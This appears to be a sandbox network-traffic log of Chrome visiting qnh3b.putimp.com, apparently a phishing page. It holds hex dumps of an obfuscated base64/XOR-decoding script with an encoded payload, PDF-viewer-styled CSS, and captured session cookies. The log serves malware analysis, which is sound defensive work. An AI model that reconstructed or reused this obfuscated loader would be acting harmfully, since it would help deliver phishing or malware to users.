2024-04-16 19:40:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49773	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:07 UTC	1532	OUT	GET /2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://qnh3b.putimp.com/yo0z/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkpIL2VNMUhnVmVaNmhla01GN3p4V1E9PSIsInZhbHVlIjoiaVhXM1JUQ0hhNEc4aHVqVmx5TjhBUUd0YmxVQnh6ekQ0NElKTTI2SWVGMjhQNUJ4STcwK0VmSVlnRmpBb21KQnFOa3d3QTltU3BMMHRFK1dVa1ZaREVDTFl2Nm14c2F0Rkk1SFVQTFhKRnZUdmVDTkI2TWI2MFVZWWFRU05rYngiLCJtYWMiOiJmZjQ1ZTkyODVjMjUzN2FlN2JiNWEyNTc2Yzg3NTRhZGJkNWMzYjQyZWE4YjY4Nzc5OThkNWIzYmQzODhlODA1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVSeEo3UXJCRG9wRSs0emdUclFnVHc9PSIsInZhbHVlIjoicVBWQ1pXWG1TbERQaWd3MkVlZENQeFN0WHg4R0tWRTdyQWQzQU4rdHlmZW9TWmJVVFArdE5zMDI4aGd4WHlNRVJtUHlRY1NYb1Y3czg0Tzdlc0lacmZDeWdoK3loa0lZTU5nYjUyVXdKOXNleWNSQmdXZWlDNmFKUFQyQ1Q2U1EiLCJtYWMiOiI4ZDgwZmI0ZTBhZTI3YWE0Y2M1YmE5MTQwN2Q3OTFmZDBkNjhkMTg1YjliNGVmYWM5NjlkOTZmZDFiYmNiNGM0IiwidGFnIjoiIn0%3D
2024-04-16 19:40:08 UTC	1134	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2BMwgjCM64oDF2427zUdJ1u%2F9%2Fnw%2FlyQKXNnc5LCLWdWItpjyWXWDfQJlB%2Bc7xH3mMFA%2BpYnwodaAxU%2FAiYEQyfdou1IidnMe14MBCJcElf1gYZUN5rzK1IAWMYjHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; expires=Tue, 16-Apr-2024 21:40:07 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-16 19:40:08 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4e 49 65 58 41 77 53 6b 64 4a 65 45 64 52 55 6d 4a 52 4e 6b 30 72 54 56 68 4e 64 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 54 6c 76 4e 47 52 31 57 46 5a 30 63 58 4a 51 4e 48 56 79 54 6e 46 74 55 6a 6c 61 4c 33 6c 4b 56 31 68 31 54 6a 6c 32 61 6e 4e 74 64 47 4a 52 65 54 6c 42 52 45 74 79 55 30 52 74 64 6b 77 76 59 54 68 68 4e 54 4a 42 51 58 4e 53 4c 30 63 33 56 6d 63 32 54 58 56 35 53 47 59 72 53 54 5a 51 61 46 4e 4f 54 58 46 33 63 33 70 56 57 45 70 78 52 6e 64 34 64 6e 52 51 51 57 5a 31 61 7a 6c 34 51 6e 42 69 64 32 51 30 55 55 74 61 59 58 6c 52 52 6c 5a 5a 63 6a 6c 55 62 30 64 31 4d 6c 42 44 64 30 52 52 63 58 4a 44 56 55 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQ
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 36 36 33 61 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 53 56 71 79 72 51 6a 73 61 7a 28 6b 7a 46 56 78 7a 41 6f 70 7a 2c 20 50 78 45 67 77 66 44 70 56 76 29 20 7b 0d 0a 6c 65 74 20 50 55 58 78 44 4b 69 74 78 49 20 3d 20 27 27 3b 0d 0a 6b 7a 46 56 78 7a 41 6f 70 7a 20 3d 20 61 74 6f 62 28 6b 7a 46 56 78 7a 41 6f 70 7a 29 3b 0d 0a 6c 65 74 20 4e 76 58 6f 77 57 4f 75 44 6e 20 3d 20 50 78 45 67 77 66 44 70 56 76 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 6b 7a 46 56 78 7a 41 6f 70 7a 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 50 55 58 78 44 4b 69 74 78 49 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6b 7a 46 56 78 7a 41 6f 70 7a 2e 63 68 61 72 43 Data Ascii: 663a<script>function SVqyrQjsaz(kzFVxzAopz, PxEgwfDpVv) {let PUXxDKitxI = '';kzFVxzAopz = atob(kzFVxzAopz);let NvXowWOuDn = PxEgwfDpVv.length;for (let i = 0; i < kzFVxzAopz.length; i++) { PUXxDKitxI += String.fromCharCode(kzFVxzAopz.charC
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 5a 66 53 59 32 48 54 67 65 49 46 38 36 47 48 4e 43 5a 30 77 73 4f 46 52 45 4a 41 34 71 42 6d 64 4d 4f 54 49 5a 41 33 39 44 49 68 30 72 47 47 49 38 42 67 41 6b 51 32 51 52 4e 77 4d 2b 4f 41 59 55 4b 77 59 74 48 48 68 4f 4c 43 55 47 43 44 73 4d 4b 77 63 32 54 6e 4e 47 59 30 5a 69 51 57 52 4f 4b 51 55 6a 49 45 6b 55 4a 77 31 35 55 44 55 65 4b 43 63 47 42 79 5a 44 5a 42 6f 33 43 53 74 32 53 31 35 37 4a 69 41 57 63 44 6f 35 4f 41 55 69 4c 51 64 31 51 44 77 56 50 43 77 39 49 43 63 59 50 6b 70 31 54 6d 30 71 47 6c 74 67 42 79 73 63 4d 55 35 74 50 78 41 57 4a 31 78 6d 46 43 6f 43 4f 57 51 65 43 53 51 48 64 6c 42 6c 44 7a 38 6b 47 68 55 74 45 79 30 56 4c 41 4a 77 61 51 67 49 4c 51 38 39 48 79 6f 5a 50 6d 6c 58 61 30 68 42 5a 46 4a 6c 55 43 45 69 42 77 31 69 45 79 Data Ascii: ZfSY2HTgeIF86GHNCZ0wsOFREJA4qBmdMOTIZA39DIh0rGGI8BgAkQ2QRNwM+OAYUKwYtHHhOLCUGCDsMKwc2TnNGY0ZiQWROKQUjIEkUJw15UDUeKCcGByZDZBo3CSt2S157JiAWcDo5OAUiLQd1QDwVPCw9ICcYPkp1Tm0qGltgByscMU5tPxAWJ1xmFCoCOWQeCSQHdlBlDz8kGhUtEy0VLAJwaQgILQ89HyoZPmlXa0hBZFJlUCEiBw1iEy
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 57 56 5a 30 56 69 5a 4b 66 6d 46 48 61 30 6c 47 59 6b 46 6b 55 6d 56 4d 62 57 74 4a 46 69 4d 46 49 42 73 72 43 33 64 72 58 42 59 36 51 58 64 43 4e 52 52 32 52 6d 4e 47 59 6b 46 6b 55 6d 56 4d 62 57 74 4a 52 6d 49 48 4b 78 77 78 51 54 34 69 45 77 4e 34 51 58 56 48 4e 52 52 32 52 6d 4e 47 59 6b 46 6b 55 6d 56 4d 62 57 74 4a 52 6d 49 43 4d 51 41 32 41 7a 39 78 53 52 59 74 43 43 6f 47 49 42 35 32 52 6d 4e 47 59 6b 46 6b 55 6d 56 4d 62 54 5a 6b 62 47 4a 42 5a 46 4a 49 5a 6d 31 72 53 55 5a 69 51 57 52 53 61 77 34 35 4a 56 4d 4f 4c 52 63 68 41 47 55 58 51 45 46 4a 52 6d 4a 42 5a 46 4a 6c 54 47 31 72 53 55 59 67 41 43 63 5a 49 68 34 69 50 67 63 43 62 77 49 72 48 69 6f 65 64 32 74 4b 56 6e 4a 58 63 78 42 39 56 30 42 42 53 55 5a 69 51 57 52 53 5a 55 77 77 52 6d 4e Data Ascii: WVZ0ViZKfmFHa0lGYkFkUmVMbWtJFiMFIBsrC3drXBY6QXdCNRR2RmNGYkFkUmVMbWtJRmIHKxwxQT4iEwN4QXVHNRR2RmNGYkFkUmVMbWtJRmICMQA2Az9xSRYtCCoGIB52RmNGYkFkUmVMbTZkbGJBZFJIZm1rSUZiQWRSaw45JVMOLRchAGUXQEFJRmJBZFJlTG1rSUYgACcZIh4iPgcCbwIrHioed2tKVnJXcxB9V0BBSUZiQWRSZUwwRmN
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 47 5a 78 4c 77 41 51 59 67 67 67 54 32 63 66 4b 43 67 64 44 79 30 50 4e 31 42 6c 44 79 45 71 47 68 56 2f 51 32 5a 4d 53 47 5a 74 61 30 6c 47 66 68 49 68 45 54 45 46 49 69 56 4a 44 79 5a 63 5a 67 45 67 44 7a 6b 69 42 67 67 64 46 54 59 4c 4c 41 49 71 50 77 59 56 4b 77 59 71 47 79 74 4f 62 54 67 64 48 79 34 45 65 56 41 6b 41 69 51 6d 43 42 49 72 44 69 70 49 4e 67 51 69 50 45 51 41 4d 41 34 70 58 7a 63 46 4b 69 4d 64 52 6e 4a 50 63 51 46 2b 54 6d 30 6f 42 51 63 78 45 6e 6c 51 5a 31 4a 41 51 55 6c 47 59 6b 46 6b 55 6d 56 4d 63 53 38 41 45 47 49 43 4b 42 4d 32 48 33 42 70 43 42 4d 32 43 57 6b 46 4e 77 30 39 4f 77 77 55 59 46 39 4a 65 47 56 4d 62 57 74 4a 52 6d 4a 42 5a 46 4a 6c 54 48 45 76 41 42 42 69 41 69 67 54 4e 68 39 77 61 51 55 4a 49 77 55 74 48 43 4a 42 Data Ascii: GZxLwAQYgggT2cfKCgdDy0PN1BlDyEqGhV/Q2ZMSGZta0lGfhIhETEFIiVJDyZcZgEgDzkiBggdFTYLLAIqPwYVKwYqGytObTgdHy4EeVAkAiQmCBIrDipINgQiPEQAMA4pXzcFKiMdRnJPcQF+Tm0oBQcxEnlQZ1JAQUlGYkFkUmVMcS8AEGICKBM2H3BpCBM2CWkFNw09OwwUYF9JeGVMbWtJRmJBZFJlTHEvABBiAigTNh9waQUJIwUtHCJB
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 46 6b 55 6d 56 4d 62 57 74 4a 52 6d 4a 64 49 42 73 7a 54 43 34 6e 43 42 55 78 58 47 59 65 4b 67 30 70 49 67 63 42 62 77 49 72 48 44 45 4e 4a 43 55 4d 46 47 42 66 53 58 68 6c 54 47 31 72 53 55 5a 69 51 57 52 53 5a 55 78 74 61 30 6c 47 66 67 55 74 42 47 55 50 49 53 6f 61 46 58 39 44 49 42 30 78 51 53 73 6e 42 67 63 32 43 43 6f 56 5a 31 4a 78 5a 41 30 50 4e 46 39 4a 65 47 56 4d 62 57 74 4a 52 6d 4a 42 5a 46 4a 6c 54 47 31 72 53 55 5a 2b 42 53 30 45 5a 51 38 68 4b 68 6f 56 66 30 4d 67 48 54 46 42 4b 79 63 47 42 7a 59 49 4b 68 56 6e 55 6e 46 6b 44 51 38 30 58 30 6c 34 5a 55 78 74 61 30 6c 47 59 6b 46 6b 55 6d 56 4d 62 57 74 4a 52 6e 34 46 4c 51 52 6c 44 79 45 71 47 68 56 2f 51 79 41 64 4d 55 45 72 4a 77 59 48 4e 67 67 71 46 57 64 53 63 57 51 4e 44 7a 52 66 53 Data Ascii: FkUmVMbWtJRmJdIBszTC4nCBUxXGYeKg0pIgcBbwIrHDENJCUMFGBfSXhlTG1rSUZiQWRSZUxta0lGfgUtBGUPISoaFX9DIB0xQSsnBgc2CCoVZ1JxZA0PNF9JeGVMbWtJRmJBZFJlTG1rSUZ+BS0EZQ8hKhoVf0MgHTFBKycGBzYIKhVnUnFkDQ80X0l4ZUxta0lGYkFkUmVMbWtJRn4FLQRlDyEqGhV/QyAdMUErJwYHNggqFWdScWQNDzRfS
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 4b 42 53 30 55 4b 67 5a 36 54 48 45 71 53 51 34 77 42 43 4a 50 5a 30 39 76 61 77 30 48 4e 67 42 70 47 79 46 52 62 7a 67 41 41 53 77 55 4e 46 42 6c 41 79 4d 6f 42 51 38 68 43 6e 6c 51 4b 51 55 6a 49 41 59 57 4e 67 67 72 48 43 59 41 4a 43 67 43 54 6a 59 4a 4c 51 46 73 54 6d 30 6f 42 51 63 78 45 6e 6c 51 4b 51 55 6a 49 45 74 59 41 52 4d 68 45 7a 45 4a 62 53 51 48 41 32 4e 64 61 78 4e 37 55 47 49 37 56 31 6f 6a 51 53 63 65 4a 42 38 2b 64 6b 73 4b 4b 77 38 76 55 69 67 4f 59 48 70 66 52 47 49 46 4a 51 59 6b 51 53 51 76 56 45 51 68 41 43 6f 47 42 41 38 75 4c 68 6f 56 41 77 49 6e 48 54 41 43 4f 57 6c 4a 43 53 77 43 4b 42 73 6d 42 33 42 70 42 51 38 73 43 69 73 43 4d 51 55 69 4a 51 6f 4b 4b 77 49 76 57 6a 45 45 4a 44 68 41 52 47 49 4a 4e 68 63 6a 55 57 39 6f 53 31 Data Ascii: KBS0UKgZ6THEqSQ4wBCJPZ09vaw0HNgBpGyFRbzgAASwUNFBlAyMoBQ8hCnlQKQUjIAYWNggrHCYAJCgCTjYJLQFsTm0oBQcxEnlQKQUjIEtYARMhEzEJbSQHA2NdaxN7UGI7V1ojQSceJB8+dksKKw8vUigOYHpfRGIFJQYkQSQvVEQhACoGBA8uLhoVAwInHTACOWlJCSwCKBsmB3BpBQ8sCisCMQUiJQoKKwIvWjEEJDhARGIJNhcjUW9oS1
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 43 43 49 2f 52 41 41 75 44 69 55 47 4c 41 49 71 61 56 64 61 62 51 55 74 42 48 74 68 52 32 74 4a 52 6d 4a 42 5a 46 4a 6c 54 47 31 72 53 55 5a 69 51 57 52 4f 49 51 55 37 61 77 6f 4b 49 78 49 33 54 32 63 49 49 6a 39 45 41 43 34 4f 4a 51 59 73 41 69 70 70 56 31 70 74 42 53 30 45 65 32 46 48 61 30 6c 47 59 6b 46 6b 55 6d 56 4d 62 57 74 4a 57 6d 30 46 4c 51 52 37 59 55 64 72 53 55 5a 69 51 57 52 53 5a 55 78 74 61 30 6c 61 4a 67 67 79 55 69 59 41 4c 44 67 61 57 32 41 53 49 52 45 78 42 53 49 6c 43 67 6b 73 46 53 45 63 4d 55 35 7a 52 6d 4e 47 59 6b 46 6b 55 6d 56 4d 62 57 74 4a 52 6d 4a 64 49 42 73 7a 54 43 34 6e 43 42 55 78 58 47 59 51 4a 41 49 6a 4c 68 73 4b 4c 51 59 72 55 47 55 50 49 53 6f 61 46 58 39 44 49 46 38 6e 41 43 49 6f 41 6b 52 38 58 57 73 57 4c 42 70 Data Ascii: CCI/RAAuDiUGLAIqaVdabQUtBHthR2tJRmJBZFJlTG1rSUZiQWROIQU7awoKIxI3T2cIIj9EAC4OJQYsAippV1ptBS0Ee2FHa0lGYkFkUmVMbWtJWm0FLQR7YUdrSUZiQWRSZUxta0laJggyUiYALDgaW2ASIRExBSIlCgksFSEcMU5zRmNGYkFkUmVMbWtJRmJdIBszTC4nCBUxXGYQJAIjLhsKLQYrUGUPISoaFX9DIF8nACIoAkR8XWsWLBp
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 58 67 51 4d 42 67 35 4a 41 64 47 49 51 30 6c 41 54 5a 52 62 79 6b 64 43 47 42 42 4c 52 5a 34 54 69 38 2f 42 7a 6b 78 43 43 4e 51 65 7a 38 6b 4c 41 64 47 4b 77 39 34 58 53 63 5a 4f 54 38 47 43 48 78 73 54 6c 4a 6c 54 47 31 72 53 55 5a 69 51 57 52 53 5a 56 42 69 4c 77 41 51 66 47 78 4f 55 6d 56 4d 62 57 74 4a 52 6d 4a 64 61 78 59 73 47 6e 4e 47 59 30 5a 69 51 57 52 4f 61 68 38 6f 4b 42 30 50 4c 51 39 36 66 30 39 68 52 32 74 4a 52 6d 4a 64 4e 78 63 6d 47 43 51 6b 42 30 59 72 42 58 6c 51 4e 67 6b 75 50 77 41 4a 4c 44 34 39 48 54 41 49 49 69 55 64 44 69 4d 58 49 52 4d 6d 44 79 67 34 47 6b 52 69 41 69 67 54 4e 68 39 77 61 51 31 4c 4c 41 34 71 46 32 64 53 51 45 46 4a 52 6d 4a 42 5a 46 4a 6c 54 48 45 76 41 42 42 69 41 69 67 54 4e 68 39 77 61 51 67 54 4e 67 6c 70 Data Ascii: XgQMBg5JAdGIQ0lATZRbykdCGBBLRZ4Ti8/BzkxCCNQez8kLAdGKw94XScZOT8GCHxsTlJlTG1rSUZiQWRSZVBiLwAQfGxOUmVMbWtJRmJdaxYsGnNGY0ZiQWROah8oKB0PLQ96f09hR2tJRmJdNxcmGCQkB0YrBXlQNgkuPwAJLD49HTAIIiUdDiMXIRMmDyg4GkRiAigTNh9waQ1LLA4qF2dSQEFJRmJBZFJlTHEvABBiAigTNh9waQgTNglp
2024-04-16 19:40:08 UTC	1369	IN	Data Raw: 64 42 4e 6b 45 73 45 7a 4d 4a 62 54 73 4d 46 43 38 49 4e 77 45 73 41 79 4e 72 48 51 6c 69 41 43 63 52 49 42 38 2b 61 78 30 4f 4b 78 4a 6b 41 43 41 66 49 6a 34 62 42 53 64 50 53 58 68 6c 54 47 31 72 53 55 5a 69 51 57 52 53 5a 55 78 78 5a 41 30 50 4e 46 39 4a 65 47 56 4d 62 57 74 4a 52 6d 4a 42 5a 46 4a 6c 54 48 45 76 41 42 42 69 41 69 67 54 4e 68 39 77 61 52 41 4a 4e 77 55 72 48 44 45 45 4c 44 30 4d 42 79 45 43 49 51 45 32 44 69 49 2f 48 51 6b 76 51 33 70 2f 54 30 78 74 61 30 6c 47 59 6b 46 6b 55 6d 56 4d 62 58 63 4e 44 7a 52 42 4a 78 34 6b 48 7a 35 32 53 78 38 74 46 43 41 64 4b 78 67 6c 4b 68 38 44 49 77 49 6e 46 7a 59 66 4c 79 51 64 45 69 30 4d 4b 77 49 78 42 53 49 6c 53 51 41 74 45 79 6c 66 49 68 34 69 50 68 6c 45 66 47 78 4f 55 6d 56 4d 62 57 74 4a 52 Data Ascii: dBNkEsEzMJbTsMFC8INwEsAyNrHQliACcRIB8+ax0OKxJkACAfIj4bBSdPSXhlTG1rSUZiQWRSZUxxZA0PNF9JeGVMbWtJRmJBZFJlTHEvABBiAigTNh9waRAJNwUrHDEELD0MByECIQE2DiI/HQkvQ3p/T0xta0lGYkFkUmVMbXcNDzRBJx4kHz52Sx8tFCAdKxglKh8DIwInFzYfLyQdEi0MKwIxBSIlSQAtEylfIh4iPhlEfGxOUmVMbWtJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49775	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:08 UTC	1393	OUT	GET /56FMAGab1x5X48912 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:09 UTC	750	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:09 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56FMAGab1x5X48912" Vary: Accept-Encoding Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nb2QLF8AoKS58S4K9JHI%2B4131cof%2F1Emr9wuCLn9zht1dsJSKD64qEf8tWHPQlRXO8h7ua0V4ZSGvffj41A4CEkgBJuJXEWPMahgW0ydPXZXqL95OsrWKO4WZ5Ix%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a53b187b137d-ATL
2024-04-16 19:40:09 UTC	619	IN	Data Raw: 35 62 36 36 0d 0a 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e Data Ascii: 5b66*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f Data Ascii: JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;po
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 65 72 20 64 69 76 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 20 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 33 70 78 3b 6c 65 66 74 3a 33 37 70 78 3b 77 69 64 74 68 3a 36 70 78 3b 68 65 69 67 68 74 3a 31 38 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 34 30 70 78 20 34 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e Data Ascii: er div:after{content:" ";display:block;position:absolute;top:3px;left:37px;width:6px;height:18px;border-radius:20%;background:#000}#sections_pdf .lds-spinner div{transform-origin:40px 40px;animation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spin
